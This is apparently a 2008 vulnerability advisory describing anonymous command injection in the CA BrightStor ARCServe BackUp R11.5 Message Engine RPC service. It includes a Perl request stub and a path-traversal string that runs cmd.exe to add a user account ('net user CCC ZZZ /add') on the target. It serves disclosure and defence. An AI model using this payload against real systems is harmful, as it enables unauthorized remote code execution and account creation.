CA BrightStor ARCServe BackUp Message Engine Command Injection Vulnerability
12 Oct. 2008
Summary
CA BrightStor ARCServe BackUp is an overall data backup solution. The RPC interface of CA BrightStor ARCServe BackUp does not handle user's input exactly that allows anonymous attacker to inject any command, a remote code execution attack may achieved through this way.
Credit:
The information has been provided by cocoruder.
Vulnerable Systems:
* CA BrightStor ARCServe BackUp version R11.5
Service named "CA BrightStor Message Engine" (Process Name: msgeng.exe) registers a RPC interface which is listening on TCP port 6504, following is some related information:
UUID : 506b1890-14c8-11d1-bbc3-00805fa6962e
Version : 1.0
Listen Port : 6504
Remarkably, we can access this interface anonymously via "ncacn_ip_tcp". The following is the IDL of the function of opnum 0x10A:
Following is the normal stub of this function:
my $stub=
"\x10\x00\x00\x00\x00\x00\x00\x00". #should equal to remote computer name
"\x10\x00\x00\x00".
"kkk-49ade5b31c1".
"\x00".
"\x08\x00\x00\x00\x00\x00\x00\x00". #will run "aaa.exe"
"\x08\x00\x00\x00".
"aaa.exe"
"\x00".
First, the first parameter (victim's computer name) should equal to the real computer name. Second, when we change the string "aaa.exe" such as "../aaa.exe", it will bypass the current directory, if the program has been installed by default, transferring the following string will reach the "cmd.exe" and add an user with "CCC"/"ZZZ"(username/password) on the affected system: ../../../../../../../..//winnt//system32//cmd.exe /c \"net user CCC ZZZ /add\" ||
